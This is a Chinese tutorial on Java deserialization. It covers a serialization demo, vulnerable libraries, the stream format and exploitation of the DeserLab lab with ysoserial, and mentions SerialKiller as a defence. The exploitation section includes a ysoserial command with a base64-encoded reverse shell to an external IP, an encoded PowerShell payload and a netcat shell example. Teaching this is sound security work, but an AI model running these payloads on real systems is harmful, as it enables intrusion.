java的反序列化(一)What’s java’s serialize&unserialize

2023-05-17 09:17:58 浏览数 (1)

序列化和反序列化

  • 序列化 将一个类对象转换成为一段字节序列保存在文件中,和java的原生类writeObject对应
  • 反序列化 将对象序列化生成的字节序列还原为一个对象,和java的原生类readObject对应

序列化条件

  • 该类必须实现 java.io.Serializable 对象
  • 该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的

序列化过程

  • 序列化:将 OutputStream 封装在 ObjectOutputStream 内,然后调用 writeObject 即可
  • 反序列化:将 InputStream 封装在 ObjectInputStream 内,然后调用 readObject 即可

反序列化出错可能原因

  • 序列化字节码中的 serialVersionUID(用于记录java序列化版本)在进行反序列化时,JVM 会把传来的字节流中的 serialVersionUID 与本地相应实体类的 serialVersionUID 进行比较,如果相同就认为是一致的,可以进行反序列化,否则就抛出序列化版本不一致的异常- InvalidCastException。

序列化和反序列化Demo

代码语言:javascript复制
package com.example.h0cksr_springboot_02;

public class Employee implements java.io.Serializable
{
    public String name;
    public String identify;
    public void mailCheck()
    {
        System.out.println("This is the " this.identify " of our company");
    }
}
代码语言:javascript复制
package com.example.h0cksr_springboot_02;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.web.bind.annotation.RestController;

import java.io.*;

@SpringBootApplication
@RestController
public class SerializeDemo {
    public static void main(String[] args) {
        String file_name="D:\Code\java\h0cksr_springboot_02\src\main\java\com\example\h0cksr_springboot_02\employee.db";
        Boolean end = serialize_employee(file_name);
        unserialize_employee(file_name);
    }

    public static Boolean serialize_employee(String file_name){
        System.out.println("程序的serialize_employee函数开始执行,开始进行序列化写入......");
        Employee e = new Employee();
        e.name = "员工甲";
        e.identify = "General staff";
        try
        {
            // 打开一个文件输入流
            System.out.println("开始使用FileOutputStream对象打开一个文件输入流");
            FileOutputStream fileOut = new FileOutputStream(file_name);
            // 建立对象输入流
            System.out.println("开始使用ObjectOutputStream对象建立对象输入流");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            //反序列化对象函数输出
            System.out.println("反序列化对象检测输出函数执行结果如下:");
            e.mailCheck();
            out.writeObject(e);
            out.close();
            fileOut.close();
            System.out.println("程序的serialize_employee函数执行完毕,序列化写入完成.");
            System.out.println("序列化对象保存在文件: " file_name "n");
            return true;
        }
        catch(IOException i)
        {
            i.printStackTrace();
            return false;
        }
    }

    public static Boolean unserialize_employee(String file_name)
    {
        System.out.println("程序的unserialize_employee函数开始执行,进行反序列化中......");
        System.out.println("开始从文件 " file_name " 取出对象开始反序列化");
        Employee e = null;
        try
        {
            // 打开文件输入流
            System.out.println("正在使用FileInputStream对象打开文件输入流");
            FileInputStream fileIn = new FileInputStream(file_name);
            // 建立对象输入流
            System.out.println("正在使用ObjectInputStream对象建立对象输入流");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            // 读取对象
            System.out.println("正在使用readObject函数从对象输入流中读出并生成对象");
            e = (Employee) in.readObject();
            in.close();
            fileIn.close();
            System.out.println("反序列化完毕,成功从文件中获取到一个实例化的对象");
        }catch(IOException i)
        {
            i.printStackTrace();
            return false;
        }catch(ClassNotFoundException c)
        {
            System.out.println("Employee class not found");
            c.printStackTrace();
            return false;
        }
        System.out.println("反序列化完成!!!!");
        System.out.println("反序列化的类描述如下:");
        System.out.println("Name: "   e.name);
        System.out.println("This is the " e.identify " of our company");
        System.out.println("程序的unserialize_employee函数执行完毕,程序结束....");
        return true;

    }
}

反序列化的可利用基础库

代码语言:javascript复制
危险库示例:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE

可能利用到的危险类:
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
'org.apache.commons.fileupload'
'org.apache.commons.beanutils'

若包含危险库,则使用ysoserial进行攻击复现。

反序列化入口函数

代码语言:javascript复制
类名.方法名
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject

序列化序列分析

代码语言:javascript复制
AC ED 00 05是常见的序列化数据开始,
但有些应用程序在整个运行周期中保持与服务器的网络连接,
如果攻击载荷是在延迟中发送的,那检测这四个字节就是无效的。
所以有些防火墙工具在检测反序列化数据时仅仅检测这几个字节是不安全的设置。
代码语言:javascript复制
Java类名称可能会以“L”开头的替代格式出现 ,以';'结尾 ,
并使用正斜杠来分隔命名空间和类名(例如 “Ljava / rmi / dgc / VMID;”)。
除了Java类名,由于序列化格式规范的约定,还有一些其他常见的字符串,
例如 :表示对象(TC_OBJECT),后跟其类描述(TC_CLASSDESC)的'sr'或 可能表示没有超类(TC_NULL)的类的类注释(TC_ENDBLOCKDATA)的'xp'。

识别出序列化数据后,就要定位插入点,不同的数据类型有以下的十六进制对照表:
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM

AC ED 00 05之后可能跟上述的数据类型说明符,也可能跟77(TC_BLOCKDATA元素)7A(TC_BLOCKDATALONG元素)其后跟的是块数据。

序列化数据信息是将对象信息按照一定规则组成的,那我们根据这个规则也可以逆向推测出数据信息中的数据类型等信息。

代码语言:javascript复制
数据信息类型可能出现以下几种
- 0xac ed STREAM_VERSION 
- 0x00 05 Contents TC_BLOCKDATA 
- 0x77 Length - 8 
- 0x08 Contents 
- 0xaf743f8c1d120cb9 TC_STRING 
- 0x74 newHandle 0x00 7e 00 00 Length - 4 
- 0x00 04 Value - ABCD - 0x41424344

SerializationDumper : https://github.com/NickstaDB/SerializationDumper 可以分析序列化后的的十六进制数据

代码语言:javascript复制
$ java -jar SerializationDumper.jar ACED00057708af743f8c1d120cb974000441424344

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_BLOCKDATA - 0x77
    Length - 8 - 0x08
    Contents - 0xaf743f8c1d120cb9
  TC_STRING - 0x74
    newHandle 0x00 7e 00 00
    Length - 4 - 0x00 04
    Value - ABCD - 0x41424344

根据上面的输出结果,我们发现数据流中包含一个TCBLOCKDATA,后面跟着一个TCSTRING,我们可以将TC_STRING替换为我们的攻击payload。

序列化流中的对象在加载时会被实例化,而不是当整个流完成解析时才会被实例化。根据这个事实,可以将攻击payload注入到某个序列化流中,而不用考虑去矫正序列化流剩余的那些数据。当任何验证操作执行时,或者当程序尝试从序列化流中读取更多数据时,攻击payload的反序列化以及执行操作早已完成。

实践工具

DeserLab可以在本地打开具有java反序列化漏洞服务的工具可以模拟创建java反序列化漏洞的场景,使用方法为:

代码语言:javascript复制
首先启动服务器端组件
java -jar DeserLab.jar -server <listen-address> <listen-port>
例如: java -jar DeserLab.jar -server 127.0.0.1 6666
接下来使用客户端与服务端组件交互 java -jar DeserLab.jar -client <server-address> <server-port>

SerialBrute这个工具可以自动化使用ysoserial payload来测试任何目标

代码语言:javascript复制
第一个脚本为“SerialBrute.py”,可以重放TCP会话或者HTTP请求,
并且能将payload注入到指定的位置;
第二个脚本为“SrlBrt.py”,这是一个框架型脚本,
在特殊情况下我们可以修改这一脚本来发送payload。
这些脚本并没有考虑全部情况,因此需要谨慎使用,以免导致应用程序崩溃

用ysoserial生成针对Groovy库的payload:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAaABhAGMAawBlAGQAXwBiAHkAXwBwAGgA MAByAHMAZQA=">payload2.bin
使用生产的payload(python2.7): python deserlab_exploit.py 127.0.0.1 6666 payload2.bin

ysoserial集成了多条链子可以用于生成payload

代码语言:javascript复制
Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xLjExNy4yMy4xNzcvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > payload.bin

deserlab_exploit.py用于测试ysoserial生成的payload

代码语言:javascript复制
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xLjExNy4yMy4xNzcvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > payload.bin
$ java -jar DeserLab.jar -server 127.0.0.1 6666
$ python deserlab_exploit.py 127.0.0.1 6666 payload.bin

载荷转换工具:

代码语言:javascript复制
使用ysoserial命令执行payload时经常需要到网站
https://www.jackson-t.ca/runtime-exec-payloads.html
进行负载转换,
这是因为使用了“java.lang.Runtime.exec(String)”语句,导致命令执行存在限制,
例如不支持shell操作符,如输出重定向以及管道;
传递给payload命令的参数中不能包含空格,
比如,我们可以使用nc -lp 4444 -e /bin/sh但是不能使用perl -e ‘use Socket;…',
这是因为传递给perl的参数中包含空格.

但是如果使用转换后的负载就不会出现上面的问题
代码语言:javascript复制
尝试反序列化的POP链时如果触发无法处理的异常点有可能会导致程序崩溃
如果使用某个ysoserial  payload时,目标应用的响应为“ClassNotFoundException”,
这种情况下,很有可能选择的利用点不能用于目标应用。如果目标应用出现“java.io.IOException”,
同时返回“Cannot run program”信息,那么很有可能选择的利用链适用于目标应用,
但尝试执行的命令无法在目标服务器上执行。

ysoserial命令执行payload属于盲payload(blind payloads)类型,不会返回命令的输出结果

反序列化防护

然后放在classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型。

0 人点赞